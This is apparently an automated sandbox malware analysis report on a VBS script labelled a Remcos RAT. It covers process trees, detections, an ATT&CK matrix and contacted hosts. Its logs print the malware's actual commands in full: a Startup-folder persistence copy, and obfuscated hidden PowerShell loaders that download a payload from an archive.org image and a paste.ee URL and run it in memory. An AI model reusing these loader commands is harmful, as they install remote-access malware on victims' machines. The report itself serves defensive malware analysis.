$OWjuxD	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Windows\system32\Logistics1.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.etnarugif.vbs')')	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{1}imageUrl = '+'{0'+'}https://ia600102.us.archive.org/32/items/detah-note-v_'+'202410/DetahNote_V.jpg {0};{1}webClient = '+'New-Object System.Net.WebClient;{1}imageBytes = {1}webClient.DownloadData({1}imageUr'+'l);{1}imageText = [System.Text.Encoding'+']::UTF8.GetString('+'{1}imageBytes);'+'{1}startFlag'+' = {0}<'+'<BASE64_STA'+'RT>>{0'+'};{1}endFlag = {0}<<BASE64_END>>{'+'0};{1}st'+'artIndex = {1}imageText.IndexOf({1}startFlag);{1}endIndex = '+'{1}imageText.IndexOf({1}'+'endFlag);{1}startIndex -ge 0 -and {1}endIndex -gt {1}startIndex;{1}startIndex += {1}startFlag.Length;{1}base64Length = {1}endIndex - {1}s'+'tartIndex;{1}'+'ba'+'s'+'e64Comm'+'and = {1}imageText.S'+'ubstring({1}startIndex, {1}base64Length);{1}commandByt'+'es'+' = [System.Convert]::FromBase64String({1}base64Command);{1}loadedAssembly = [System.Refl'+'ection.Assemb'+'ly]::Load({1}commandBytes);{1}vaiMethod = [dnlib.IO.Home].GetMethod({0}VAI{0}'+');{1}vaiMethod.Invoke({1}nu'+'ll, @({0}0/2Gf2A/d/ee.etsap//:sptth{0}, {0}desativado{0}, {0}desativado{0}, {0'+'}de'+'sativado{0}, {0}desativado{0}, {0}1{0}, {0}appidtel{0}));') -f[CHAR]39,[CHAR]36)\|.( ([striNg]$veRBosePrEfErencE)[1,3]+'x'-JoiN'')"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\appidtel.exe "C:\Windows\SysWOW64\appidtel.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\appidtel.exe "C:\Windows\SysWOW64\appidtel.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [system.io.file]::copy('c:\windows\system32\logistics1.vbs', 'c:\users\' + [environment]::username + ''\appdata\roaming\microsoft\windows\start menu\programs\startup\ sbv.etnarugif.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnezf9aw1hz2vvcmwgpsankyd7mccrj31odhrwczovl2lhnjawmtaylnvzlmfyy2hpdmuub3jnlzmyl2l0zw1zl2rldgfolw5vdgutdl8nkycymdi0mtavrgv0ywhob3rlx1yuanbnihswftt7mx13zwjdbgllbnqgpsankydozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50o3sxfwltywdlqnl0zxmgpsb7mx13zwjdbgllbnqurg93bmxvywreyxrhkhsxfwltywdlvxinkydsktt7mx1pbwfnzvrlehqgpsbbu3lzdgvtllrlehqurw5jb2rpbmcnkyddojpvvey4lkdldfn0cmluzygnkyd7mx1pbwfnzuj5dgvzktsnkyd7mx1zdgfydezsywcnkycgpsb7mh08jysnpejbu0u2nf9tveenkydsvd4+ezankyd9o3sxfwvuzezsywcgpsb7mh08pejbu0u2nf9ftkq+pnsnkycwftt7mx1zdccrj2fydeluzgv4id0gezf9aw1hz2vuzxh0lkluzgv4t2yoezf9c3rhcnrgbgfnktt7mx1lbmrjbmrleca9iccrj3sxfwltywdlvgv4dc5jbmrlee9mkhsxfscrj2vuzezsywcpo3sxfxn0yxj0sw5kzxgglwdlidaglwfuzcb7mx1lbmrjbmrlecatz3qgezf9c3rhcnrjbmrledt7mx1zdgfydeluzgv4ics9ihsxfxn0yxj0rmxhzy5mzw5ndgg7ezf9ymfzzty0tgvuz3roid0gezf9zw5ksw5kzxgglsb7mx1zjysndgfydeluzgv4o3sxfscrj2jhjysncycrj2u2nenvbw0nkydhbmqgpsb7mx1pbwfnzvrlehquuycrj3vic3ryaw5nkhsxfxn0yxj0sw5kzxgsihsxfwjhc2u2nexlbmd0ack7ezf9y29tbwfuzej5dccrj2vzjysnid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzyh7mx1iyxnlnjrdb21tyw5kktt7mx1sb2fkzwrbc3nlbwjsesa9ifttexn0zw0uumvmbccrj2vjdglvbi5bc3nlbwinkydsev06okxvywqoezf9y29tbwfuzej5dgvzktt7mx12ywlnzxrob2qgpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkhswfvzbsxswfscrjyk7ezf9dmfptwv0ag9klkludm9rzsh7mx1udscrj2xslcbakhswftavmkdmmkevzc9lzs5ldhnhcc8vonnwdhroezb9lcb7mh1kzxnhdgl2ywrvezb9lcb7mh1kzxnhdgl2ywrvezb9lcb7mccrj31kzscrj3nhdgl2ywrvezb9lcb7mh1kzxnhdgl2ywrvezb9lcb7mh0xezb9lcb7mh1hchbpzhrlbhswfskpoycpic1mw0niqvjdmzksw0niqvjdmzypfc4oichbc3ryau5nxsr2zvjcb3nluhjfzkvyzw5jrslbmswzxssnecctsm9pticnkq==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('{1}imageurl = '+'{0'+'}https://ia600102.us.archive.org/32/items/detah-note-v_'+'202410/detahnote_v.jpg {0};{1}webclient = '+'new-object system.net.webclient;{1}imagebytes = {1}webclient.downloaddata({1}imageur'+'l);{1}imagetext = [system.text.encoding'+']::utf8.getstring('+'{1}imagebytes);'+'{1}startflag'+' = {0}<'+'<base64_sta'+'rt>>{0'+'};{1}endflag = {0}<<base64_end>>{'+'0};{1}st'+'artindex = {1}imagetext.indexof({1}startflag);{1}endindex = '+'{1}imagetext.indexof({1}'+'endflag);{1}startindex -ge 0 -and {1}endindex -gt {1}startindex;{1}startindex += {1}startflag.length;{1}base64length = {1}endindex - {1}s'+'tartindex;{1}'+'ba'+'s'+'e64comm'+'and = {1}imagetext.s'+'ubstring({1}startindex, {1}base64length);{1}commandbyt'+'es'+' = [system.convert]::frombase64string({1}base64command);{1}loadedassembly = [system.refl'+'ection.assemb'+'ly]::load({1}commandbytes);{1}vaimethod = [dnlib.io.home].getmethod({0}vai{0}'+');{1}vaimethod.invoke({1}nu'+'ll, @({0}0/2gf2a/d/ee.etsap//:sptth{0}, {0}desativado{0}, {0}desativado{0}, {0'+'}de'+'sativado{0}, {0}desativado{0}, {0}1{0}, {0}appidtel{0}));') -f[char]39,[char]36)\|.( ([string]$verbosepreference)[1,3]+'x'-join'')"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [system.io.file]::copy('c:\windows\system32\logistics1.vbs', 'c:\users\' + [environment]::username + ''\appdata\roaming\microsoft\windows\start menu\programs\startup\ sbv.etnarugif.vbs')')	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnezf9aw1hz2vvcmwgpsankyd7mccrj31odhrwczovl2lhnjawmtaylnvzlmfyy2hpdmuub3jnlzmyl2l0zw1zl2rldgfolw5vdgutdl8nkycymdi0mtavrgv0ywhob3rlx1yuanbnihswftt7mx13zwjdbgllbnqgpsankydozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50o3sxfwltywdlqnl0zxmgpsb7mx13zwjdbgllbnqurg93bmxvywreyxrhkhsxfwltywdlvxinkydsktt7mx1pbwfnzvrlehqgpsbbu3lzdgvtllrlehqurw5jb2rpbmcnkyddojpvvey4lkdldfn0cmluzygnkyd7mx1pbwfnzuj5dgvzktsnkyd7mx1zdgfydezsywcnkycgpsb7mh08jysnpejbu0u2nf9tveenkydsvd4+ezankyd9o3sxfwvuzezsywcgpsb7mh08pejbu0u2nf9ftkq+pnsnkycwftt7mx1zdccrj2fydeluzgv4id0gezf9aw1hz2vuzxh0lkluzgv4t2yoezf9c3rhcnrgbgfnktt7mx1lbmrjbmrleca9iccrj3sxfwltywdlvgv4dc5jbmrlee9mkhsxfscrj2vuzezsywcpo3sxfxn0yxj0sw5kzxgglwdlidaglwfuzcb7mx1lbmrjbmrlecatz3qgezf9c3rhcnrjbmrledt7mx1zdgfydeluzgv4ics9ihsxfxn0yxj0rmxhzy5mzw5ndgg7ezf9ymfzzty0tgvuz3roid0gezf9zw5ksw5kzxgglsb7mx1zjysndgfydeluzgv4o3sxfscrj2jhjysncycrj2u2nenvbw0nkydhbmqgpsb7mx1pbwfnzvrlehquuycrj3vic3ryaw5nkhsxfxn0yxj0sw5kzxgsihsxfwjhc2u2nexlbmd0ack7ezf9y29tbwfuzej5dccrj2vzjysnid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzyh7mx1iyxnlnjrdb21tyw5kktt7mx1sb2fkzwrbc3nlbwjsesa9ifttexn0zw0uumvmbccrj2vjdglvbi5bc3nlbwinkydsev06okxvywqoezf9y29tbwfuzej5dgvzktt7mx12ywlnzxrob2qgpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkhswfvzbsxswfscrjyk7ezf9dmfptwv0ag9klkludm9rzsh7mx1udscrj2xslcbakhswftavmkdmmkevzc9lzs5ldhnhcc8vonnwdhroezb9lcb7mh1kzxnhdgl2ywrvezb9lcb7mh1kzxnhdgl2ywrvezb9lcb7mccrj31kzscrj3nhdgl2ywrvezb9lcb7mh1kzxnhdgl2ywrvezb9lcb7mh0xezb9lcb7mh1hchbpzhrlbhswfskpoycpic1mw0niqvjdmzksw0niqvjdmzypfc4oichbc3ryau5nxsr2zvjcb3nluhjfzkvyzw5jrslbmswzxssnecctsm9pticnkq==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('{1}imageurl = '+'{0'+'}https://ia600102.us.archive.org/32/items/detah-note-v_'+'202410/detahnote_v.jpg {0};{1}webclient = '+'new-object system.net.webclient;{1}imagebytes = {1}webclient.downloaddata({1}imageur'+'l);{1}imagetext = [system.text.encoding'+']::utf8.getstring('+'{1}imagebytes);'+'{1}startflag'+' = {0}<'+'<base64_sta'+'rt>>{0'+'};{1}endflag = {0}<<base64_end>>{'+'0};{1}st'+'artindex = {1}imagetext.indexof({1}startflag);{1}endindex = '+'{1}imagetext.indexof({1}'+'endflag);{1}startindex -ge 0 -and {1}endindex -gt {1}startindex;{1}startindex += {1}startflag.length;{1}base64length = {1}endindex - {1}s'+'tartindex;{1}'+'ba'+'s'+'e64comm'+'and = {1}imagetext.s'+'ubstring({1}startindex, {1}base64length);{1}commandbyt'+'es'+' = [system.convert]::frombase64string({1}base64command);{1}loadedassembly = [system.refl'+'ection.assemb'+'ly]::load({1}commandbytes);{1}vaimethod = [dnlib.io.home].getmethod({0}vai{0}'+');{1}vaimethod.invoke({1}nu'+'ll, @({0}0/2gf2a/d/ee.etsap//:sptth{0}, {0}desativado{0}, {0}desativado{0}, {0'+'}de'+'sativado{0}, {0}desativado{0}, {0}1{0}, {0}appidtel{0}));') -f[char]39,[char]36)\|.( ([string]$verbosepreference)[1,3]+'x'-join'')"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Source: Yara match	File source: 11.2.appidtel.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.appidtel.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.1841391892.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1841927454.00000000032F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Source: Yara match	File source: 11.2.appidtel.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.appidtel.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.1841391892.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1841927454.00000000032F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	11 Command and Scripting Interpreter	221 Scripting	211 Process Injection	31 Virtualization/Sandbox Evasion	OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	211 Process Injection	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	12 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Logistics1.vbs	6%	Virustotal		Browse
Logistics1.vbs	5%	ReversingLabs	Script-WScript.Trojan.RemcosRAT

Source	Detection	Scanner	Label	Link
ia600102.us.archive.org	0%	Virustotal		Browse
paste.ee	3%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore6	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe
http://paste.ee	3%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0	0%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://ia600102.us.archive.org/32/items/detah-note-v_202410/DetahNote_V.jpg	8%	Virustotal		Browse
https://paste.ee	1%	Virustotal		Browse
https://ia600102.us.archive.org	0%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
http://ia600102.us.archive.org	0%	Virustotal		Browse
https://analytics.paste.ee	1%	Virustotal		Browse
https://www.google.com	0%	Virustotal		Browse
https://cdnjs.cloudflare.com	0%	Virustotal		Browse
https://ia600102.us.archive.org/32/items/detah-note-v_202410/DetahNote_V.jpgX	0%	Virustotal		Browse
https://ia600102.us.archive.org/32/it	0%	Virustotal		Browse
https://themes.googleusercontent.com	0%	Virustotal		Browse
https://secure.gravatar.com	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ia600102.us.archive.org	207.241.227.242	true	true	0%, Virustotal, Browse	unknown
paste.ee	188.114.96.3	true	true	3%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ia600102.us.archive.org/32/items/detah-note-v_202410/DetahNote_V.jpg	true	8%, Virustotal, Browse	unknown
https://paste.ee/d/A2fG2/0	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000008.00000002.1613032778.0000021AE80BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1648832877.0000021AF67CD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000008.00000002.1613032778.0000021AE7E6B000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://i0002.us	powershell.exe, 00000008.00000002.1612225136.0000021AE49A7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000008.00000002.1613032778.0000021AE8061000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://paste.ee	powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000008.00000002.1613032778.0000021AE8061000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://go.micro	powershell.exe, 00000008.00000002.1613032778.0000021AE7747000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000008.00000002.1648832877.0000021AF67CD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com;	powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000008.00000002.1648832877.0000021AF67CD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://analytics.paste.ee	powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://paste.ee	powershell.exe, 00000008.00000002.1613032778.0000021AE6B6F000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://aka.ms/pscore6	powershell.exe, 00000005.00000002.1517721610.0000019C59E8A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ia600102.us.arX	powershell.exe, 00000008.00000002.1613032778.0000021AE7E19000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ia600102.us.archive.org	powershell.exe, 00000008.00000002.1613032778.0000021AE7D81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1613032778.0000021AE6972000.00000004.00000800.00020000.00000000.sdmp	true	0%, Virustotal, Browse	unknown
https://github.com/Pester/Pester	powershell.exe, 00000008.00000002.1613032778.0000021AE8061000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://ia600102.us.archive.org/32/items/detah-note-v_	powershell.exe, 00000008.00000002.1612130354.0000021AE48C0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1613032778.0000021AE6972000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://ia600102.us.archive.org	powershell.exe, 00000008.00000002.1613032778.0000021AE7E1F000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://www.google.com	powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://contoso.com/	powershell.exe, 00000008.00000002.1648832877.0000021AF67CD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000008.00000002.1613032778.0000021AE80BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1648832877.0000021AF67CD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.orgX	powershell.exe, 00000008.00000002.1613032778.0000021AE7E6B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://analytics.paste.ee;	powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://cdnjs.cloudflare.com	powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://aka.ms/pscore68	powershell.exe, 00000005.00000002.1517721610.0000019C59EC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1774942207.000002024DBBE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1774942207.000002024DBAB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1613032778.0000021AE6751000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdnjs.cloudflare.com;	powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.1517721610.0000019C59EDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1774942207.000002024DB83000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1613032778.0000021AE6751000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ia600102.us.archive.org/32/it	powershell.exe, 00000006.00000002.1774942207.000002024E09D000.00000004.00000800.00020000.00000000.sdmp	true	0%, Virustotal, Browse	unknown
https://ia600102.us.archive.org/32/items/detah-note-v_202410/DetahNote_V.jpgX	powershell.exe, 00000008.00000002.1613032778.0000021AE7D81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1613032778.0000021AE6972000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://secure.gravatar.com	powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://themes.googleusercontent.com	powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://oneget.org	powershell.exe, 00000008.00000002.1613032778.0000021AE7E6B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	paste.ee	European Union		13335	CLOUDFLARENETUS	true
207.241.227.242	ia600102.us.archive.org	United States		7941	INTERNET-ARCHIVEUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1530595
Start date and time:	2024-10-10 09:27:51 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 13s
